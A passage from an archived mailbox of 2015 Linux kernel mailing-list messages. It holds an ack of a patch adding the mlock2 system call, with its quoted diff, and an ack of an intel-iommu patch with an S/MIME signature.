        by mx.google.com with ESMTPS id u2si9566189wjz.147.2015.08.12.02.45.59
        for <linux-mm@kvack.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 12 Aug 2015 02:46:00 -0700 (PDT)
Received-SPF: pass (google.com: domain of mstsxfx@gmail.com designates 209.85.212.169 as permitted sender) client-ip=209.85.212.169;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of mstsxfx@gmail.com designates 209.85.212.169 as permitted sender) smtp.mailfrom=mstsxfx@gmail.com
Original-Received: by wicne3 with SMTP id ne3so210686459wic.1
        for <linux-mm@kvack.org>; Wed, 12 Aug 2015 02:45:59 -0700 (PDT)
X-Received: by 10.194.239.167 with SMTP id vt7mr70587172wjc.5.1439372759577;
        Wed, 12 Aug 2015 02:45:59 -0700 (PDT)
Original-Received: from localhost (nat1.scz.suse.com. [213.151.88.250])
        by smtp.gmail.com with ESMTPSA id bg6sm7072367wjc.13.2015.08.12.02.45.58
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 12 Aug 2015 02:45:59 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1439097776-27695-3-git-send-email-emunson@akamai.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:137028 gmane.linux.ports.alpha:3306 gmane.linux.kernel:2018618 gmane.linux.ports.arm.kernel:433642 gmane.linux.ports.ia64:25705 gmane.linux.ports.parisc:25932 gmane.linux.ports.ppc64.devel:116760 gmane.linux.ports.sh.devel:47866 gmane.linux.ports.sparc:21412 gmane.linux.kernel.api:13548 gmane.linux.kernel.cross-arch:28865
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/137028>

On Sun 09-08-15 01:22:52, Eric B Munson wrote:
> With the refactored mlock code, introduce a new system call for mlock.
> The new call will allow the user to specify what lock states are being
> added.  mlock2 is trivial at the moment, but a follow on patch will add
> a new mlock state making it useful.

Looks good to me

Acked-by: Michal Hocko <mhocko@suse.com>

> Signed-off-by: Eric B Munson <emunson@akamai.com>
> Acked-by: Vlastimil Babka <vbabka@suse.cz>
> Cc: Michal Hocko <mhocko@suse.cz>
> Cc: Vlastimil Babka <vbabka@suse.cz>
> Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
> Cc: Geert Uytterhoeven <geert@linux-m68k.org>
> Cc: Catalin Marinas <catalin.marinas@arm.com>
> Cc: Stephen Rothwell <sfr@canb.auug.org.au>
> Cc: Guenter Roeck <linux@roeck-us.net>
> Cc: Andrea Arcangeli <aarcange@redhat.com>
> Cc: linux-alpha@vger.kernel.org
> Cc: linux-kernel@vger.kernel.org
> Cc: linux-arm-kernel@lists.infradead.org
> Cc: adi-buildroot-devel@lists.sourceforge.net
> Cc: linux-cris-kernel@axis.com
> Cc: linux-ia64@vger.kernel.org
> Cc: linux-m68k@lists.linux-m68k.org
> Cc: linux-am33-list@redhat.com
> Cc: linux-parisc@vger.kernel.org
> Cc: linuxppc-dev@lists.ozlabs.org
> Cc: linux-s390@vger.kernel.org
> Cc: linux-sh@vger.kernel.org
> Cc: sparclinux@vger.kernel.org
> Cc: linux-xtensa@linux-xtensa.org
> Cc: linux-api@vger.kernel.org
> Cc: linux-arch@vger.kernel.org
> Cc: linux-mm@kvack.org
> ---
>  arch/x86/entry/syscalls/syscall_32.tbl | 1 +
>  arch/x86/entry/syscalls/syscall_64.tbl | 1 +
>  include/linux/syscalls.h               | 2 ++
>  include/uapi/asm-generic/unistd.h      | 4 +++-
>  kernel/sys_ni.c                        | 1 +
>  mm/mlock.c                             | 8 ++++++++
>  6 files changed, 16 insertions(+), 1 deletion(-)
> 
> diff --git a/arch/x86/entry/syscalls/syscall_32.tbl b/arch/x86/entry/syscalls/syscall_32.tbl
> index ef8187f..8e06da6 100644
> --- a/arch/x86/entry/syscalls/syscall_32.tbl
> +++ b/arch/x86/entry/syscalls/syscall_32.tbl
> @@ -365,3 +365,4 @@
>  356	i386	memfd_create		sys_memfd_create
>  357	i386	bpf			sys_bpf
>  358	i386	execveat		sys_execveat			stub32_execveat
> +360	i386	mlock2			sys_mlock2
> diff --git a/arch/x86/entry/syscalls/syscall_64.tbl b/arch/x86/entry/syscalls/syscall_64.tbl
> index 9ef32d5..67601e7 100644
> --- a/arch/x86/entry/syscalls/syscall_64.tbl
> +++ b/arch/x86/entry/syscalls/syscall_64.tbl
> @@ -329,6 +329,7 @@
>  320	common	kexec_file_load		sys_kexec_file_load
>  321	common	bpf			sys_bpf
>  322	64	execveat		stub_execveat
> +324	common	mlock2			sys_mlock2
>  
>  #
>  # x32-specific system call numbers start at 512 to avoid cache impact
> diff --git a/include/linux/syscalls.h b/include/linux/syscalls.h
> index b45c45b..56a3d59 100644
> --- a/include/linux/syscalls.h
> +++ b/include/linux/syscalls.h
> @@ -884,4 +884,6 @@ asmlinkage long sys_execveat(int dfd, const char __user *filename,
>  			const char __user *const __user *argv,
>  			const char __user *const __user *envp, int flags);
>  
> +asmlinkage long sys_mlock2(unsigned long start, size_t len, int flags);
> +
>  #endif
> diff --git a/include/uapi/asm-generic/unistd.h b/include/uapi/asm-generic/unistd.h
> index e016bd9..14a6013 100644
> --- a/include/uapi/asm-generic/unistd.h
> +++ b/include/uapi/asm-generic/unistd.h
> @@ -709,9 +709,11 @@ __SYSCALL(__NR_memfd_create, sys_memfd_create)
>  __SYSCALL(__NR_bpf, sys_bpf)
>  #define __NR_execveat 281
>  __SC_COMP(__NR_execveat, sys_execveat, compat_sys_execveat)
> +#define __NR_mlock2 282
> +__SYSCALL(__NR_mlock2, sys_mlock2)
>  
>  #undef __NR_syscalls
> -#define __NR_syscalls 282
> +#define __NR_syscalls 283
>  
>  /*
>   * All syscalls below here should go away really,
> diff --git a/kernel/sys_ni.c b/kernel/sys_ni.c
> index 7995ef5..4818b71 100644
> --- a/kernel/sys_ni.c
> +++ b/kernel/sys_ni.c
> @@ -193,6 +193,7 @@ cond_syscall(sys_mlock);
>  cond_syscall(sys_munlock);
>  cond_syscall(sys_mlockall);
>  cond_syscall(sys_munlockall);
> +cond_syscall(sys_mlock2);
>  cond_syscall(sys_mincore);
>  cond_syscall(sys_madvise);
>  cond_syscall(sys_mremap);
> diff --git a/mm/mlock.c b/mm/mlock.c
> index 5692ee5..3094f27 100644
> --- a/mm/mlock.c
> +++ b/mm/mlock.c
> @@ -643,6 +643,14 @@ SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
>  	return do_mlock(start, len, VM_LOCKED);
>  }
>  
> +SYSCALL_DEFINE3(mlock2, unsigned long, start, size_t, len, int, flags)
> +{
> +	if (flags)
> +		return -EINVAL;
> +
> +	return do_mlock(start, len, VM_LOCKED);
> +}
> +
>  SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
>  {
>  	int ret;
> -- 
> 1.9.1

-- 
Michal Hocko
SUSE Labs

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Woodhouse <dwmw2@infradead.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: Re: [PATCH 30/31] intel-iommu: handle page-less SG entries
Date: Wed, 12 Aug 2015 10:51:18 +0100
Lines: 125
Approved: news@gmane.org
Message-ID: <1439373078.3100.65.camel@infradead.org>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
	 <1439363150-8661-31-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg="sha-1"; protocol="application/x-pkcs7-signature";
	boundary="=-XPA4sTmibnhoPJg1NB1h"
X-Trace: ger.gmane.org 1439373118 15567 80.91.229.3 (12 Aug 2015 09:51:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 09:51:58 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
	hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
	dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
	alex.williamson@redhat.com, grundler@parisc-linux.org,
	linux-kernel@vger.kernel.org, linux-arch@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-nvdimm@ml01.01.org,
	linux-media@vger.kernel.org
To: Christoph Hellwig <hch@lst.de>, torvalds@linux-foundation.org,
	axboe@kernel.dk
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 12 11:51:55 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZPShO-0002TU-9X
	for glk-linux-kernel-3@plane.gmane.org; Wed, 12 Aug 2015 11:51:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755993AbbHLJvo (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 12 Aug 2015 05:51:44 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:51695 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754072AbbHLJvk (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 12 Aug 2015 05:51:40 -0400
Original-Received: from shinybook.infradead.org ([2001:8b0:10b:1:e6ce:8fff:fe1f:f2c0])
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZPSgu-00069b-Mv; Wed, 12 Aug 2015 09:51:25 +0000
In-Reply-To: <1439363150-8661-31-git-send-email-hch@lst.de>
X-Mailer: Evolution 3.16.4 (3.16.4-2.fc22) 
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2018624 gmane.linux.kernel.cross-arch:28866 gmane.linux.ports.alpha:3307 gmane.linux.ports.ia64:25706 gmane.linux.kernel.metag:616 gmane.linux.ports.mips.general:49963 gmane.linux.ports.parisc:25933 gmane.linux.ports.ppc64.devel:116762 gmane.linux.ports.sparc:21413 gmane.linux.drivers.video-input-infrastructure:93958
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2018624>


--=-XPA4sTmibnhoPJg1NB1h
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Wed, 2015-08-12 at 09:05 +0200, Christoph Hellwig wrote:
> Just remove a BUG_ON, the code handles them just fine as-is.
>=20
> Signed-off-by: Christoph Hellwig <hch@lst.de>

Acked-by: David Woodhouse <David.Woodhouse@intel.com>

--=20
David Woodhouse                            Open Source Technology Centre
David.Woodhouse@intel.com                              Intel Corporation

--=-XPA4sTmibnhoPJg1NB1h
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Disposition: attachment; filename="smime.p7s"
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIISjjCCBicw
ggUPoAMCAQICAw3vNzANBgkqhkiG9w0BAQUFADCBjDELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0
YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcx
ODA2BgNVBAMTL1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRlcm1lZGlhdGUgQ2xpZW50IENB
MB4XDTE1MDUwNTA5NDM0MVoXDTE2MDUwNTA5NTMzNlowQjEcMBoGA1UEAwwTZHdtdzJAaW5mcmFk
ZWFkLm9yZzEiMCAGCSqGSIb3DQEJARYTZHdtdzJAaW5mcmFkZWFkLm9yZzCCASIwDQYJKoZIhvcN
AQEBBQADggEPADCCAQoCggEBAMkbm9kPbx1j/X4RVyf/pPKSYwelcco69TvnQQbKM8m8xkWjXJI1
jpJ1jMaGUZGFToINMSZi7lZawUozudWbXSKy1SikENSTJHffsdRAIlsp+hR8vWvjsKUry6sEdqPG
doa5RY7+N4WRusWZDYW/RRWE6i9EL9qV86CVPYqw22UBOUw4/j/HVGCV6TSB8yE5iEwhk/hUuzRr
FZm1MJMR7mCS7BCR8Lr5jFY61lWpBiXNXIxLZCvDc26KR5L5tYX43iUVO3fzES1GRVoYnxxk2tmz
fcsZG5vK+Trc9L8OZJfkYrEHH3+Iw41MQ0w/djVtYr1+HYldx0QmYXAtnhIj+UMCAwEAAaOCAtkw
ggLVMAkGA1UdEwQCMAAwCwYDVR0PBAQDAgSwMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcD
BDAdBgNVHQ4EFgQUszC96C3w5/2+d+atSr0IpT26YI4wHwYDVR0jBBgwFoAUU3Ltkpzg2ssBXHx+
ljVO8tS4UYIwHgYDVR0RBBcwFYETZHdtdzJAaW5mcmFkZWFkLm9yZzCCAUwGA1UdIASCAUMwggE/
MIIBOwYLKwYBBAGBtTcBAgMwggEqMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3LnN0YXJ0c3NsLmNv
bS9wb2xpY3kucGRmMIH3BggrBgEFBQcCAjCB6jAnFiBTdGFydENvbSBDZXJ0aWZpY2F0aW9uIEF1
dGhvcml0eTADAgEBGoG+VGhpcyBjZXJ0aWZpY2F0ZSB3YXMgaXNzdWVkIGFjY29yZGluZyB0byB0
aGUgQ2xhc3MgMSBWYWxpZGF0aW9uIHJlcXVpcmVtZW50cyBvZiB0aGUgU3RhcnRDb20gQ0EgcG9s
aWN5LCByZWxpYW5jZSBvbmx5IGZvciB0aGUgaW50ZW5kZWQgcHVycG9zZSBpbiBjb21wbGlhbmNl
IG9mIHRoZSByZWx5aW5nIHBhcnR5IG9ibGlnYXRpb25zLjA2BgNVHR8ELzAtMCugKaAnhiVodHRw
Oi8vY3JsLnN0YXJ0c3NsLmNvbS9jcnR1MS1jcmwuY3JsMIGOBggrBgEFBQcBAQSBgTB/MDkGCCsG
AQUFBzABhi1odHRwOi8vb2NzcC5zdGFydHNzbC5jb20vc3ViL2NsYXNzMS9jbGllbnQvY2EwQgYI
KwYBBQUHMAKGNmh0dHA6Ly9haWEuc3RhcnRzc2wuY29tL2NlcnRzL3N1Yi5jbGFzczEuY2xpZW50
LmNhLmNydDAjBgNVHRIEHDAahhhodHRwOi8vd3d3LnN0YXJ0c3NsLmNvbS8wDQYJKoZIhvcNAQEF
BQADggEBAHMQmxHHodpS85X8HRyxhvfkys7r+taCNOaNU9cxQu/cZ/6k5nS2qGNMzZ6jb7ueY/V7
7p+4DW/9ZWODDTf4Fz00mh5SSVc20Bz7t+hhxwHd62PZgENh5i76Qq2tw48U8AsYo5damHby1epf
neZafLpUkLLO7AGBJIiRVTevdvyXQ0qnixOmKMWyvrhSNGuVIKVdeqLP+102Dwf+dpFyw+j1hz28
jEEKpHa+NR1b2kXuSPi/rMGhexwlJOh4tK8KQ6Ryr0rIN//NSbOgbyYZrzc/ZUWX9V5OA84ChFb2
vkFl0OcYrttp/rhDBLITwffPxSZeoBh9H7zYzkbCXKL3BUIwggYnMIIFD6ADAgECAgMN7zcwDQYJ
KoZIhvcNAQEFBQAwgYwxCzAJBgNVBAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQuMSswKQYD
VQQLEyJTZWN1cmUgRGlnaXRhbCBDZXJ0aWZpY2F0ZSBTaWduaW5nMTgwNgYDVQQDEy9TdGFydENv
bSBDbGFzcyAxIFByaW1hcnkgSW50ZXJtZWRpYXRlIENsaWVudCBDQTAeFw0xNTA1MDUwOTQzNDFa
Fw0xNjA1MDUwOTUzMzZaMEIxHDAaBgNVBAMME2R3bXcyQGluZnJhZGVhZC5vcmcxIjAgBgkqhkiG
9w0BCQEWE2R3bXcyQGluZnJhZGVhZC5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDJG5vZD28dY/1+EVcn/6TykmMHpXHKOvU750EGyjPJvMZFo1ySNY6SdYzGhlGRhU6CDTEmYu5W
WsFKM7nVm10istUopBDUkyR337HUQCJbKfoUfL1r47ClK8urBHajxnaGuUWO/jeFkbrFmQ2Fv0UV
hOovRC/alfOglT2KsNtlATlMOP4/x1Rglek0gfMhOYhMIZP4VLs0axWZtTCTEe5gkuwQkfC6+YxW
OtZVqQYlzVyMS2Qrw3NuikeS+bWF+N4lFTt38xEtRkVaGJ8cZNrZs33LGRubyvk63PS/DmSX5GKx
Bx9/iMONTENMP3Y1bWK9fh2JXcdEJmFwLZ4SI/lDAgMBAAGjggLZMIIC1TAJBgNVHRMEAjAAMAsG
A1UdDwQEAwIEsDAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwQwHQYDVR0OBBYEFLMwvegt
8Of9vnfmrUq9CKU9umCOMB8GA1UdIwQYMBaAFFNy7ZKc4NrLAVx8fpY1TvLUuFGCMB4GA1UdEQQX
MBWBE2R3bXcyQGluZnJhZGVhZC5vcmcwggFMBgNVHSAEggFDMIIBPzCCATsGCysGAQQBgbU3AQID
MIIBKjAuBggrBgEFBQcCARYiaHR0cDovL3d3dy5zdGFydHNzbC5jb20vcG9saWN5LnBkZjCB9wYI
KwYBBQUHAgIwgeowJxYgU3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwAwIBARqBvlRo
aXMgY2VydGlmaWNhdGUgd2FzIGlzc3VlZCBhY2NvcmRpbmcgdG8gdGhlIENsYXNzIDEgVmFsaWRh
dGlvbiByZXF1aXJlbWVudHMgb2YgdGhlIFN0YXJ0Q29tIENBIHBvbGljeSwgcmVsaWFuY2Ugb25s
eSBmb3IgdGhlIGludGVuZGVkIHB1cnBvc2UgaW4gY29tcGxpYW5jZSBvZiB0aGUgcmVseWluZyBw
YXJ0eSBvYmxpZ2F0aW9ucy4wNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2NybC5zdGFydHNzbC5j
b20vY3J0dTEtY3JsLmNybDCBjgYIKwYBBQUHAQEEgYEwfzA5BggrBgEFBQcwAYYtaHR0cDovL29j
c3Auc3RhcnRzc2wuY29tL3N1Yi9jbGFzczEvY2xpZW50L2NhMEIGCCsGAQUFBzAChjZodHRwOi8v
YWlhLnN0YXJ0c3NsLmNvbS9jZXJ0cy9zdWIuY2xhc3MxLmNsaWVudC5jYS5jcnQwIwYDVR0SBBww
GoYYaHR0cDovL3d3dy5zdGFydHNzbC5jb20vMA0GCSqGSIb3DQEBBQUAA4IBAQBzEJsRx6HaUvOV
/B0csYb35MrO6/rWgjTmjVPXMULv3Gf+pOZ0tqhjTM2eo2+7nmP1e+6fuA1v/WVjgw03+Bc9NJoe
UklXNtAc+7foYccB3etj2YBDYeYu+kKtrcOPFPALGKOXWph28tXqX53mWny6VJCyzuwBgSSIkVU3
r3b8l0NKp4sTpijFsr64UjRrlSClXXqiz/tdNg8H/naRcsPo9Yc9vIxBCqR2vjUdW9pF7kj4v6zB
oXscJSToeLSvCkOkcq9KyDf/zUmzoG8mGa83P2VFl/VeTgPOAoRW9r5BZdDnGK7baf64QwSyE8H3
z8UmXqAYfR+82M5Gwlyi9wVCMIIGNDCCBBygAwIBAgIBHjANBgkqhkiG9w0BAQUFADB9MQswCQYD
VQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRkLjErMCkGA1UECxMiU2VjdXJlIERpZ2l0YWwg
Q2VydGlmaWNhdGUgU2lnbmluZzEpMCcGA1UEAxMgU3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRo
b3JpdHkwHhcNMDcxMDI0MjEwMTU1WhcNMTcxMDI0MjEwMTU1WjCBjDELMAkGA1UEBhMCSUwxFjAU
BgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENlcnRpZmljYXRl
IFNpZ25pbmcxODA2BgNVBAMTL1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRlcm1lZGlhdGUg
Q2xpZW50IENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxwmDzM4t2BqxKaQuE6uW
vooyg4ymiEGWVUet1G8SD+rqvyNH4QrvnEIaFHxOhESip7vMz39ScLpNLbL1QpOlPW/tFIzNHS3q
d2XRNYG5Sv9RcGE+T4qbLtsjjJbi6sL7Ls/f/X9ftTyhxvxWkf8KW37iKrueKsxw2HqolH7GM6FX
5UfNAwAu4ZifkpmZzU1slBhyWwaQPEPPZRsWoTb7q8hmgv6Nv3Hg9rmA1/VPBIOQ6SKRkHXG0Hhm
q1dOFoAFI411+a/9nWm5rcVjGcIWZ2v/43Yksq60jExipA4l5uv9/+Hm33mbgmCszdj/Dthf13tg
Av2O83hLJ0exTqfrlwIDAQABo4IBrTCCAakwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC
AQYwHQYDVR0OBBYEFFNy7ZKc4NrLAVx8fpY1TvLUuFGCMB8GA1UdIwQYMBaAFE4L7xqkQFulF2mH
MMo0aEPQQa7yMGYGCCsGAQUFBwEBBFowWDAnBggrBgEFBQcwAYYbaHR0cDovL29jc3Auc3RhcnRz
c2wuY29tL2NhMC0GCCsGAQUFBzAChiFodHRwOi8vd3d3LnN0YXJ0c3NsLmNvbS9zZnNjYS5jcnQw
WwYDVR0fBFQwUjAnoCWgI4YhaHR0cDovL3d3dy5zdGFydHNzbC5jb20vc2ZzY2EuY3JsMCegJaAj
hiFodHRwOi8vY3JsLnN0YXJ0c3NsLmNvbS9zZnNjYS5jcmwwgYAGA1UdIAR5MHcwdQYLKwYBBAGB
tTcBAgEwZjAuBggrBgEFBQcCARYiaHR0cDovL3d3dy5zdGFydHNzbC5jb20vcG9saWN5LnBkZjA0
BggrBgEFBQcCARYoaHR0cDovL3d3dy5zdGFydHNzbC5jb20vaW50ZXJtZWRpYXRlLnBkZjANBgkq
hkiG9w0BAQUFAAOCAgEACoMIfXirLAZcuGOMXq4cuSN3TaFx2H2GvD5VSy/6rV55BYHbWNaPeQn3
oBSU8KgQZn/Kck1JxbLpAxVCNtsxeW1R87ifhsYZ0qjdrA9anrW2MAWCtosmAOT4OxK9QPoSjCMx
M3HbkZCDJgnlE8jMopH21BbyAYr7b5EfGRQJNtgWcvqSXwKHnTutR08+Kkn0KAkXCzeQNLeA5LlY
UzFyM7kPAp8pIRMQ+seHunmyG642S2+y/qHEdMuGIwpfz3eDF1PdctL04qYK/zu+Qg1Bw0RwgigV
Zs/0c5HP2/e9DBHh7eSwtzYlk4AUr6yxLlcwSjOfOmKEQ/Q8tzh0IFiNu9IPuTGAPBn4CPxD0+Ru
8T2wg8/s43R/PT3kd1OEqOJUl7q+h+r6fpvU0Fzxd2tC8Ga6fDEPme+1Nbi+03pVjuZQKbGwKJ66
gEn06WqaxVZC+J8hh/jR0k9mST1iAZPNYulcNJ8tKmVtjYsv0L1TSm2+NwON58tO+pIVzu3DWwSE
XSf+qkDavQam+QtEOZxLBXI++aMUEapSn+k3Lxm48ZCYfAWLb/Xj7F5JQMbZvCexglAbYR0kIHqW
5DnsYSdMD/IplJMojx0NBrxJ3fN9dvX2Y6BIXRsF1du4qESm4/3CKuyUV7p9DW3mPlHTGLvYxnyK
Qy7VFBkoLINszBrOUeIxggNvMIIDawIBATCBlDCBjDELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0
YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcx
ODA2BgNVBAMTL1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRlcm1lZGlhdGUgQ2xpZW50IENB
AgMN7zcwCQYFKw4DAhoFAKCCAa8wGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0B
CQUxDxcNMTUwODEyMDk1MTE4WjAjBgkqhkiG9w0BCQQxFgQUaCH1iIezbS8u8FxWmLTvkqWwbg0w
gaUGCSsGAQQBgjcQBDGBlzCBlDCBjDELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0
ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcxODA2BgNVBAMT
L1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRlcm1lZGlhdGUgQ2xpZW50IENBAgMN7zcwgacG
CyqGSIb3DQEJEAILMYGXoIGUMIGMMQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRk
LjErMCkGA1UECxMiU2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmluZzE4MDYGA1UEAxMv
U3RhcnRDb20gQ2xhc3MgMSBQcmltYXJ5IEludGVybWVkaWF0ZSBDbGllbnQgQ0ECAw3vNzANBgkq
hkiG9w0BAQEFAASCAQBCRL0I3BXz/KFj5QeV8pChr+w35YhG2Qt8ZAblAVprP/3OgtW8Mj6ef6Zf
2jXHFUyPiu3SKIrpgdNRascniJ+pRmTNlklGsyT74K+IIa6I4o0vtN8eXchOoYkhMOCnwSmH4Fkk
UWJuRf5TUFYcYH49bleJf++h9NmpL+Heo8mTgTxyOnPL95tm2mzggJoESsEXyz5fh2M+Nv56dIq9
dUvDn5dcJqUL1OXXgakEwK5dFNXLCnnZ5R19poKbFS7BgL9SY7hMduhaD4ixS8nt8vqu7VXsZp05
nh/dfBr9DhmXgvW6a0hTHBzCkaEkafIAXMT3neEHvZNn3zI1XLCjoBR0AAAAAAAA


--=-XPA4sTmibnhoPJg1NB1h--


From - Thu Nov 08 21:37:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: Re: [PATCH 19/31] arc: handle page-less SG entries
Date: Wed, 12 Aug 2015 10:28:55 +0000
Lines: 75
Approved: news@gmane.org
Message-ID: <C2D7FE5348E1B147BCA15975FBA23075665B21F5@IN01WEMBXB.internal.synopsys.com>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
 <1439363150-8661-20-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1439375358 18828 80.91.229.3 (12 Aug 2015 10:29:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 10:29:18 +0000 (UTC)
Cc: "dan.j.williams@intel.com" <dan.j.williams@intel.com>,
	"hskinnemoen@gmail.com" <hskinnemoen@gmail.com>,
	"egtvedt@samfundet.no" <egtvedt@samfundet.no>,
	"realmz6@gmail.com" <realmz6@gmail.com>,
	"dhowells@redhat.com" <dhowells@redhat.com>,
	"monstr@monstr.eu" <monstr@monstr.eu>,
	"x86@kernel.org" <x86@kernel.org>,
	"dwmw2@infradead.org" <dwmw2@infradead.org>,
	"alex.williamson@redhat.com" <alex.williamson@redhat.com>,
	"grundler@parisc-linux.org" <grundler@parisc-linux.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
	"linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	"linux-metag@vger.kernel.org" <linux-metag@vger.kernel.org>,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vge
To: Christoph Hellwig <hch@lst.de>,
	"torvalds@linux-foundation.org" <torvalds@linux-foundation.org>,
	"axboe@kernel.dk" <axboe@kernel.dk>
Original-X-From: linux-alpha-owner@vger.kernel.org Wed Aug 12 12:29:15 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
